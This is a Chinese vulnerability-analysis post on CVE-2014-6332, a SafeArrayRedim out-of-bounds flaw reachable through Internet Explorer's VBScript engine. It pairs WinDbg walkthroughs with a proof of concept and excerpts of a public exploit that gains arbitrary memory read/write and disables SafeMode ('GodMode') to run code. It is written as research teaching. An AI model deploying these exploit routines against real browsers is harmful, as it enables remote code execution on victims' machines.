-
-
[原创]Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
-
发表于: 2021-3-8 19:16 1212
-
Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
1 2 3 4 5 | 1.本文一共2158个字 39张图 预计阅读时间14分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章是CVE-2014-6332漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 |
0x01 漏洞信息
0x01.1 漏洞简述
- 编号:CVE-2014-6332
- 漏洞影响:远程代码执行(RCE)
- CVSS 2.0:9.3
oleaut32.dll中SafeArrayRedim在进行数组重新定义时未对传入参数psaboundNew进行有效校验,以致可以越界读写,进而造成任意代码执行。
0x01.2 漏洞影响
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1
0x01.3 修复方案
[MS14-064]970K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6i4K6u0V1N6i4m8V1j5i4c8W2M7#2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6j5Y4g2D9L8r3g2@1K9h3&6K6i4K6u0r3x3U0l9I4y4q4)9J5c8X3#2K6x3e0c8Q4x3X3b7H3y4U0b7`.
0x02 漏洞分析
0x02.1 分析环境
- OS版本:Windows 7 Service Pack 1
- Internet Explorer版本:8.0.7601.17514
- oleaut32.dll版本:6.1.7601.17514
- vbscript.dll版本:5.8.7601.17514
0x02.2 前置知识
请移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探。
0x02.3 详细分析
分析所用POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript"> On Error Resume Next Dim arrayA() Dim size Dim over size = &h5 over = &h8000000 + size Redim Preserve arrayA(size) Redim Preserve arrayA(over) arrayA(size+1) = "Hello"</script></body></html> |
打开该POC,使用WinDbg附加调试,于vbscript!RedimPreserveArray函数处设断,允许阻止的内容:

执行到call oleaut32.dll!SafeArrayRedim处,跟进分析:

首先是判断传入参数psa与psaboundNew均不为空:

之后对psa.fFeatures,psa.cDims及psa.cLocks进行判断:

call SafeArraySize计算数组元素占用空间大小:

将psaboundNew写入psa.rgsabound中:

调整后数组:

计算调整后数组元素占用空间大小,减去原来数组元素占用空间大小:

由于此时ebx=80000000,故执行结果为负数指令分支 :

ole32!CRetailMalloc_Alloc函数用于为HeapAlloc传递参数并调用之:

由于申请空间远远超过可分配空间大小,故分配失败,直接跳转到函数末返回错误值:

由此,便可实现任意地址读写。
下面来看看正常执行流程,修改POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript"> On Error Resume Next Dim arrayA() Dim size Dim over size = &h6 resize = &h4 Redim Preserve arrayA(size) arrayA(0)="Jane" arrayA(5)="Alan" Redim Preserve arrayA(resize) IsEmpty(arrayA)</script></body></html> |
调整后数组元素占用空间大小-原来数组元素占用空间大小=0x50-0x70=ffffffe0:

对其取相反数后申请如此大小空间:

之后将数组多余元素即arrayA(5)—arrayA(6)复制到此空间内:


call ole32!CRetailMalloc_Realloc重新分配堆块:

总结:
SafeArrayRedim函数在未重新分配空间之前便将psaboundNew写入psa.rgsabound,用以传递给SafeArraySize函数计算调整数组元素大小sub ebx, [ebp+Size]及test ebx, ebx两条指令用于判断调整数组元素大小—原数组元素大小与零的关系,小于零/大于等于零进入不同分支处理neg [ebp+psaboundNew]对调整数组元素大小与原数组元素大小差值取相反数,将其传递给HeapAlloc函数分配相应大小堆块
POC中&h8000000(该值经过SafeArraySize函数计算后为0x80000000)正是利用以上三点,实现任意地址读写——test ebx, ebx与jge组合进行有符号数比较,neg对其取反仍为0x80000000。
0x02.4 利用分析
Exp来自[yuange]ddfK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0x3#2x3U0t1&6i4@1f1K6i4K6R3H3i4K6R3J5
第一部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5)end functionfunction Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Nextend function......function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if '0x6f66 & 0xFFFFBFFF=0x2f66 If(type1=&h2f66) then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function |
通过循环不断重新定义数组,扩大数组规模,直至数组aa与ab于内存中相邻(准确 来说,二者相差8字节):

ab(0)=1.123456789012345678901234567890,该值转换IEEE浮点数可通过[IEEE 754 Calculator]5a1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6W2K9i4c8*7i4K6u0W2k6r3g2Q4x3V1k6A6k6h3g2W2i4K6u0r3 计算:

如此一来,可通过aa数组访问ab数组元素(由ab起始位置偏移8字节)。type1=&h2f66判断是由于GetVarType函数返回前会将vt与0xFFFFBFFF作与运算:

第二部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0).......sub testaa()end subfunction mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function |
先来看i=testaa操作——将函数赋值给变量。简化版如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript"> On Error Resume Next sub testaa() end sub IsEmpty("Test") i = testaa i = null</script></body></html> |
于vbscript!VbsIsEmpty断下:

通过ba w 2 1dc9e68与ba w 4 1dc9e68+8两条指令对栈顶设断,第二次断下时,修改vt为0x4C:

第三次断下:

第四次断下,更改vt为0x01(VT_NULL = 0x0001):

但其仍存储的是vbscript!CScriptEntryPoint对象,其后赋值给i。On Error Resume Next在此处尤为重要,是否加入该语句执行情况对比:

未加入On Error Resume Next语句最终会调用CSession::ReportError:

而不会执行后续i = null语句,感兴趣的读者可自行探索CScriptRuntime::RunNoEH函数,不在这里过多展开(该函数功能复杂,笔者仅是简单跟踪是否加入On Error Resume Next语句的执行流):

开启任意读写后执行aa(a1)=i:

ab(0)=6.36598737437801E-314:

aa(a1+2)=myarray:

ab(2)=1.74088534731324E-310:

关于此处的调试可于vbscript!VbsIsEmpty函数设断,配合如下修改:
1 2 3 4 5 6 7 8 9 10 11 12 | 'isempty(ab) ab(0)=0 aa(a1)=i'isempty("1") ab(0)=6.36598737437801E-314'isempty("2") aa(a1+2)=myarray'isempty("3") ab(2)=1.74088534731324E-310'isempty("4") |
第一次断下后,可获得数组元素存储位置:

mydata=aa(a1):

第三部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 | function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0)end function |
该函数功能用于读取参数add指向内存,关键函数是cbLengthBstr(具体请参考Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探中的0x05 LenB函数一节)。ab(0)=1.69759663316747E-313:

完成读取:

第四部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function |
第一次读取结果见上文图片,i=readmemo(i+16)第二次读取:

该地址为vbscript!COleScript对象:

通过循环于该对象偏移0x120之后搜寻0x0E,该值用于检查是否处于SafeMode:

aa(a1+2)存储的是之前构造数组对象——myarray:

myarray起始地址为0,rgsabound.cElements为0x7fff0000,故可读写vbscript!COleScript+0x170处内容:

修改完成,进入GodMode,成功弹出notepad.exe。
0x03 参阅链接
[Microsoft Docs——SAFEARRAY]b50K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6%4K9h3^5K6x3W2)9J5c8X3q4H3K9g2)9J5c8X3!0S2K9h3c8D9i4K6u0r3L8Y4y4Q4x3X3c8G2j5h3W2V1L8q4)9J5k6s2y4S2k6X3g2S2M7Y4u0S2P5b7`.`.
[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!